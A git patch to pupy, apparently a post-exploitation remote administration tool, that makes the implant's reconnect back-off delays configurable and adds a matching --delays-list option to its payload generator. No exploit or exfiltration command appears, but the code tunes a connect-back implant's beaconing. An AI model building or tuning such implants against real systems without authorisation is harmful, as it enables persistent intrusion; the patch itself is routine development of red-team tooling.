From bd3f4a36c1c01309df65f57a7478b428c29d3249 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk <alxchk@gmail.com>
Date: Mon, 17 Sep 2018 17:31:51 +0300
Subject: [PATCH] Make delays list configurable

---
 pupy/pp.py      | 24 ++++++++++++++++--------
 pupy/pupygen.py |  8 ++++++++
 2 files changed, 24 insertions(+), 8 deletions(-)

diff --git a/pupy/pp.py b/pupy/pp.py
index a7680917..1910e978 100755
--- a/pupy/pp.py
+++ b/pupy/pp.py
@@ -461,6 +461,7 @@ def safe_obtain(proxy):
 
 debug = False
 CONFIGURATION_CID = 0x31337
+DELAYS = [(10, 5, 10), (50, 30, 50), (-1, 150, 300)]
 
 LAUNCHER = "connect"  # the default launcher to start when no argv
 # default launcher arguments
@@ -667,12 +668,14 @@ class BindSlaveService(ReverseSlaveService):
 
 
 def get_next_wait(attempt):
-    if attempt < 10:
-        return random.randint(5, 10)
-    elif attempt < 50:
-        return random.randint(30, 50)
-    else:
-        return random.randint(150, 300)
+    try:
+        for conf_attempt, delay_min, delay_max in DELAYS:
+            if conf_attempt == -1 or attempt < conf_attempt:
+                return random.randint(delay_min, delay_max)
+    except Exception, e:
+        logger.exception('get_next_wait %d, %s', attempt, e)
+
+    return random.randint(150, 300)
 
 def set_connect_back_host(HOST):
     import pupy
@@ -808,7 +811,9 @@ def main():
         finally:
             if not sys.terminated:
                 sleep_secs = get_next_wait(attempt)
-                logger.info("reconnect in %d seconds...", sleep_secs)
+                logger.info(
+                    'Attempt %d - reconnect in %d seconds...',
+                    attempt, sleep_secs)
                 time.sleep(sleep_secs)
                 attempt += 1
 
@@ -845,7 +850,7 @@ def rpyc_loop(launcher):
 
                 sys.terminate = s.close
                 pupy.connected = True
-
+                attempt = 0
                 s.start()
                 sys.terminate = None
                 pupy.connected = False
@@ -860,6 +865,9 @@ def rpyc_loop(launcher):
                 )
 
                 conn.init()
+
+                attempt = 0
+
                 conn.loop()
 
         except SystemExit:
diff --git a/pupy/pupygen.py b/pupy/pupygen.py
index ee0d8c90..4e6108d2 100755
--- a/pupy/pupygen.py
+++ b/pupy/pupygen.py
@@ -161,6 +161,8 @@ def get_raw_conf(conf, obfuscate=False, verbose=False):
         'LAUNCHER={}'.format(repr(conf['launcher'])),
         'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
         'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
+        'DELAYS={}'.format(repr(conf.get('delays', [
+            (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))),
         'pupy.cid = CONFIGURATION_CID',
         'debug={}'.format(bool(conf.get('debug', False))),
         offline_script
@@ -510,6 +512,9 @@ def get_parser(base_parser, config):
     parser.add_argument('-P', '--packer', default=config.get('gen', 'packer'), help='Use packer when \'client\' output format (default: %(default)s)')
     parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object')
     parser.add_argument('-o', '--output', help="output filename")
+    parser.add_argument('-d', '--delays-list',
+        action='append', type=int, metavar=('<ATTEMPTS>', '<MIN SEC>', '<MAX SEC>'), nargs=3,
+        help='Format: <max attempts> <min delay (sec)> <max delay (sec)>')
 
     default_payload_output = '.'
     try:
@@ -607,6 +612,9 @@ def pupygen(args, config):
         'cid': hex(random.SystemRandom().getrandbits(32))
     }
 
+    if args.delays_list:
+        conf['delays'] = sorted(args.delays_list, key=lambda x: x[0])
+
     outpath=args.output
 
     if not os.path.isdir(args.output_dir):